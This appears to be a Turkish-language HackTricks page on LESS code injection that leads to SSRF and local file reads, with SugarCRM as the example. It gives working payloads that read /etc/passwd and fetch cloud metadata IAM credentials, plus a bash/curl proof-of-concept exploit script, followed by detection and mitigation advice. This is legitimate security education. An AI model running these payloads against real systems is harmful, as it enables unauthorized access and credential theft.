hacktricks/src/pentesting-web/less-code-injection-ssrf.md

3.9 KiB
Raw Blame History

LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma

{{#include ../banners/hacktricks-training.md}}

Genel Bakış

LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü @import direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, @import ifadelerinde referans verilen kaynakları alır ve (inline) seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.

Bir uygulama, kullanıcı kontrolündeki girişi daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan rastgele LESS kodu enjekte edebilir. Saldırgan, @import (inline)'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:

  • file:// protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).
  • Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).

Bu teknik, SugarCRM ≤ 14.0.0 (/rest/v10/css/preview uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.

Sömürü

  1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki ?lm=).
  2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
  • ; önceki bildirimi sonlandırır.
  • } önceki bloğu kapatır (gerekirse).
  1. Rastgele kaynakları okumak için @import (inline) '<URL>'; kullanın.
  2. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir işaretçi (data: URI) enjekte edin.

Yerel Dosya Okuma

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd dosyasının içeriği, @@END@@ işaretçisinden hemen önce HTTP yanıtında görünecektir.

SSRF Bulut Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Otomatik PoC (SugarCRM örneği)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Tespit

  • Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş .less veya .css yanıtlarını arayın.
  • Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen "@media all { .preview { ... ${userInput} ... } }" gibi yapıları arayın.
  • Sömürü girişimleri genellikle @import, (inline), file://, http://169.254.169.254 vb. içerir.

Önlemler

  • Güvenilmeyen verileri LESS derleyicisine geçmeyin.
  • Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde kaçırın/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
  • Mümkünse, (inline) import kullanımını devre dışı bırakın veya izin verilen protokolleri https ile sınırlayın.
  • Bağımlılıkları güncel tutun SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.

Gerçek Dünya Vakaları

Ürün Gü vulnerable Endpoint Etki
SugarCRM ≤ 14.0.0 /rest/v10/css/preview?lm= Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma

Referanslar

{{#include ../banners/hacktricks-training.md}}